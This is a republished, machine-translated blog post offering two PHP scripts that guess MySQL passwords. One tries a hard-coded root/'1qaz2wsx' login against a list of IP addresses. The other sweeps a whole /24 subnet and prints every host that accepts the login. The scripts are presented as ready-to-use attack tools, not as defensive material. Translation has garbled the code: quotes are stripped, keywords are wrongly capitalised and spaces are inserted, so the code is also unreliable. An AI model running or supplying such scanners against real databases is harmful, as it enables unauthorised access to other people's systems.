MySQL Database Password Guessing script PHP version

Source: Internet
Author: User
Tags script php

From: angels Blog Source URL:Http://www.sablog.net/blog/archives/479/

The program I saw on the blog of small A (angel) was very simple and powerful! Haha !~ PHP is used for implementation. I added code comments on the basis of his writing, so that it is easy for friends who do not understand PHP to understand. I don't need to talk about anything nonsense and go to the code!

// Execute the following PHP script to guess if port 3306 is enabled on the specified database server.

Code-1:

<? Php

$ Hostdb = array (
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50,
192.168.168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
); // Place these IP addresses in a predefined array.

$ Dbu = root; // This is the pre-defined database username
$ Dbp = 1qaz2wsx; // This is the password of the pre-defined database.

Foreach ($ hostdb as $ host) {// use foreach to traverse the pre-defined array
If (@ mysql_connect ($ host, $ dbu, $ dbp )){
Echo $ host.-. $ dbu.-. $ dbp... OK <br>; // print it out if it meets the pre-defined user name and password.
}
}

Echo done .;

?>

// The following code scans the specified IP address segment.

Code-2:

<? Php

$ Ips = 192.168.168.; // the pre-defined CIDR block is CIDR Block C.
$ Dbu = root; // pre-defined user name
$ Dbp = 1qaz2wsx; // pre-defined Password

For ($ I = 1; $ I <254; $ I ++) {// set the for loop, accumulate one by one on the basis of 192.168.1.1 until 192.168.1.254
If (@ mysql_connect ($ ips. $ I, $ dbu, $ dbp) {// try to connect to it
Echo $ ips. $ I.-. $ dbu.-. $ dbp... OK <br>; // print it if the connection is successful.

}
}

Echo done .;

?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.